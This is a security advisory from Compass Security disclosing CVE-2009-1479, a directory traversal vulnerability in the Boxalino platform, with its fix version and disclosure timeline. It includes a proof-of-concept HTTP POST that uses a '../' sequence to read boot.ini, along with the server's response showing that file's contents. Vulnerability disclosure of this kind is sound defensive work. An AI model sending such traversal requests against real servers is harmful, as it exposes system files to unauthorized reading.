############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: Boxalino # Vendor: Boxalino AG (www.boxalino.com) # CVD ID: CVE-2009-1479 # Subject: Directory Traversal Vulnerabilities # Risk: High # Effect: Remotely exploitable # Author: Axel Neumann <axel.neumann (at) csnc (dot) ch [email concealed]> # Date: 2009-10-20 # ############################################################# Introduction ------------ An Directory Traversal vulnerability exists in the collaboration platform Boxalino [1]. Remote exploitation of a directory traversal vulnerability in Boxalino's product allows attackers to read arbitrary files on the server file system with web server privileges. Affected -------- Vulnerable: * Boxalino (closed-source product) Not vulnerable: * Unknown Not tested: * N/A Technical Description --------------------- When handling HTTP requests, Boxalino does not properly check for directory traversal specifiers. Therefore, by including a sequence such as "../../../", an attacker is able to read files outside of the intended location. The vulnerability exists for both, Windows and UNIX based systems. POST /boxalino/client/desktop/default.htm HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5 Host: www.example.ch Content-Length: 256 Cookie: JSESSIONID=A57AABD5F2051C4333F500EBB1232295 Connection: Close Pragma: no-cache url=../../../../../../../../boot.ini&login_loginName=example&login_login Password=example&login_cmd_logon=Login&defaultAction=Example&login_cmd_l ogon_resultPage=%2Fboxalino%2Fclient%2Fdesktop%2Fdefault%2Ehtm HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Tues, 01 Jan 1980 00:00:00 GMT Content-Type: text/html Content-Length: 208 Date: Wed, 29 Apr 2009 09:01:06 GMT Connection: close [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect Workaround / Fix ---------------- Update to Boxalino Version 09.05.25-0421 Timeline -------- 2009-10-20: Advisory Release 2009-05-26: Release of fixed Boxalino Version / Patch 2009-05-25: Initial vendor response 2009-04-30: Initial vendor notification 2009-04-29: Assigned CVE-2009-1479 2009-04-29: Discovery by Axel Neumann References ---------- [1] http://www.boxalino.com/